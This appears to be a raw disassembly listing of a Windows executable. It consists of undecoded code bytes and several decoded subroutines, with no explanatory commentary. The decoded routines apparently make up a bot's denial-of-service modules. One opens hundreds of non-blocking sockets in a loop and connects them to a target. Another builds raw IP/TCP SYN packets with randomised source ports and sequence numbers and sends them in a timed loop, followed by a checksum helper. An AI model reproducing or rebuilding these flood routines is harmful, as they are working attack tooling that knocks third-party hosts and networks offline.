		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
		dd 0FF022EC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22EC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0C132E890h, 0C33B022Eh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 65E85359h, 90022EC0h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C76BE800h
		dd 50900229h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Eh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0BECEE890h
		dd 754E0228h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 0BE4EE890h
		db 2Eh,	2
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0BDB2E856h, 5F90022Eh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		nop
		call	near ptr 26A0000h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2EBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B02C2h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27B0000h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22EB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 0B576E890h, 4D8D022Eh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 90022EB4h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22EB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9D4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9D4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0D415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h
		dd 22EB18Ch, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 0E8535959h, 22EB0FCh
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
